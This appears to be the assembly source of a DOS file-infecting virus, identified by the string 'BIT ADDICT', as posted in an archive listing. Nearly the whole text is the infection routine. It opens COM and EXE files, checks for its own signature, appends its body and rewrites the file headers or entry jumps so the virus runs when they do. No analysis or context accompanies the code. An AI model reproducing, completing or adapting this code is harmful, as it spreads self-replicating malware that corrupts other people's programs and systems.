home *** CD-ROM | disk | FTP | other *** search
- jmpc macro Dest
- local Skip
-
- jnc Skip
- jmp Dest
- Skip:
- endm
-
- jmpnc macro Dest
- local Skip
-
- jc Skip
- jmp Dest
- Skip:
- endm
-
- jmpe macro Dest
- local Skip
-
- jnz Skip
- jmp Dest
- Skip:
- endm
-
- jmpne macro Dest
- local Skip
-
- jz Skip
- jmp Dest
- Skip:
- endm
-
- code segment
- assume cs:code,ds:code,es:code
- org 0
-
- ID db 'BIT ADDICT'
- ID_Length equ $-offset ID
-
- SavedCode equ this byte
- OldIP dw 0
- OldCS dw 0
- OldSP dw 0
- OldSS dw 0
- dw 0
-
- Begin: mov ax,4c00h
- int 21h
-
- ComHeader:
- mov ax,cs
- add ax,0100h
- OldPrgSize equ this word-2
- push ax
- xor ax,ax
- push ax
- retf
-
- Infect: push ax
- push bx
- push cx
- push cx
- push si
- push di
- push bp
- push ds
- push es
- mov ax,3d02h
- int 21h
- jmpc Close
- push cs
- pop ds
- push cs
- pop es
- mov bx,ax
- mov ah,3fh
- mov cx,HeaderLength
- lea dx,Header
- int 21h
- jmpc Close
- cmp ax,HeaderLength
- jne ComFile
- cmp Signature,5a4dh
- je ComChk
- ExeChk: mov ax,ExeCS
- add ax,HeaderSize
- mov dx,10h
- mul dx
- mov cx,dx
- mov dx,ax
- jmp Check
- ComChk: xor cx,cx
- mov dx,NearJump
- sub dx,offset Begin-3
- jb ComFile
- Check: mov ax,4200h
- int 21h
- mov ah,3fh
- mov cx,ID_Length
- lea dx,ID_Check
- int 21h
- lea si,ID_Check
- lea di,ID
- mov cx,ID_Length
- repe cmpsb
- jmpe Close
- cmp Signature,5a4dh
- je ExeFile
- ComFile:mov si,offset Header
- mov di,offset SavedCode
- mov cx,0ah
- rep movsb
- mov ax,4202h
- xor cx,cx
- xor dx,dx
- int 21h
- mov cx,10h
- div cx
- or dx,dx
- je Ok1
- push ax
- mov ah,40h
- mov cx,10h
- sub cx,dx
- xor dx,dx
- int 21h
- pop ax
- jc Close
- inc ax
- Ok1: add ax,10h
- mov OldPrgSize,ax
- mov ah,40h
- mov cx,CodeSize1
- xor dx,dx
- int 21h
- jmpc Close
- mov ax,4200h
- xor cx,cx
- xor dx,dx
- int 21h
- jmpc Close
- mov ah,40h
- mov cx,10
- mov dx,offset ComHeader
- int 21h
- jmp Close
- ExeFile:mov ax,ExeIP
- mov OldIP,ax
- mov ax,ExeCS
- mov OldCS,ax
- mov ax,ExeSP
- mov OldSP,ax
- mov ax,ExeSS
- mov OldSS,ax
- mov ax,PageCount
- dec ax
- mov cx,200h
- mul cx
- add ax,PartPage
- adc dx,0
- mov cx,dx
- mov dx,ax
- mov ax,4200h
- int 21h
- mov cx,10h
- div cx
- or dx,dx
- je Ok2
- push ax
- mov ah,40h
- mov cx,10h
- sub cx,dx
- xor dx,dx
- int 21h
- pop ax
- jc Close
- inc ax
- Ok2: sub ax,HeaderSize
- mov ExeCS,ax
- mov ExeIP,offset Begin
- add ax,CodeSizePara2
- mov ExeSS,ax
- mov ExeSP,200h
- mov ax,MinMem
- cmp ax,20h+CodeSizePara2-CodeSizePara1
- jae Ok3
- mov ax,20h
- Ok3: mov MinMem,ax
- mov ax,PartPage
- add ax,offset CodeSize2
- xor dx,dx
- mov cx,200h
- div cx
- add PageCount,ax
- mov PartPage,dx
- mov ah,40h
- mov cx,offset CodeSize1
- xor dx,dx
- int 21h
- jc Close
- mov ax,4200h
- xor cx,cx
- xor dx,dx
- int 21h
- jc Close
- mov ah,40h
- mov cx,HeaderLength
- mov dx,offset Header
- int 21h
- Close: mov ah,3eh
- int 21h
- pop es
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- iret
-
- CodeSize1 equ $
- CodeSizePara1 equ ($+0fh) / 4
-
- Header dw 14h dup(?)
- NearJump equ Header[1h] ; Com file
-
- Signature equ Header[0h] ; Exe file
- PartPage equ Header[2h]
- PageCount equ Header[4h]
- ReloCount equ Header[6h]
- HeaderSize equ Header[8h]
- MinMem equ Header[0ah]
- MaxMem equ Header[0ch]
- ExeSS equ Header[0eh]
- ExeSP equ Header[10h]
- ChkSum equ Header[12h]
- ExeIP equ Header[14h]
- ExeCS equ Header[16h]
- TablOfs equ Header[18h]
- OverlayNr equ Header[1ah]
- HeaderLength equ 1ch
-
- ID_Check db ID_Length dup(?)
-
- CodeSize2 equ $
- CodeSizePara2 equ ($+0fh) shr 4
-
- code ends
-
- end
-